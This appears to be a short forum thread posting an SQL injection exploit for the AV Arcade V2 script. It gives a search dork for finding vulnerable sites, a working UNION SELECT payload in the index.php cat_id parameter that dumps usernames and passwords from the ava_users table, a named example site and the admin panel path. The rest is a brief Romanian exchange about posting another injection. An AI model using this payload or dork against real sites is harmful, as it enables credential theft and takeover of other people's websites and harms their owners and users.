AV Arcade V2(index.php cat_id) Sql Injection

[Ras]

Site : [url]www.avscripts.net[/url]
Dork : "Powered By AV Arcade"

Exploit: http://site.com/index.php?cat_id=NumOfCatgorey/**/union/**/select/**/1,concat(char(32,%2032,%2032,%2032,%2032,%2032,%2032,%2032,32,32,32,32,32),username,char(58,58,58),password)/**/from/**/ava_users/**/where%20id=Uid

Example: [url]http://www.gotovski.cool-bg.co.uk[/url]
Admin Panel : site.com/admin/

Found By : WaReZ

[kw3rln]

si io am un sql injection in softu asta da altundeva ..trebuie sal public si io

[Ras]

pune-l si tu aici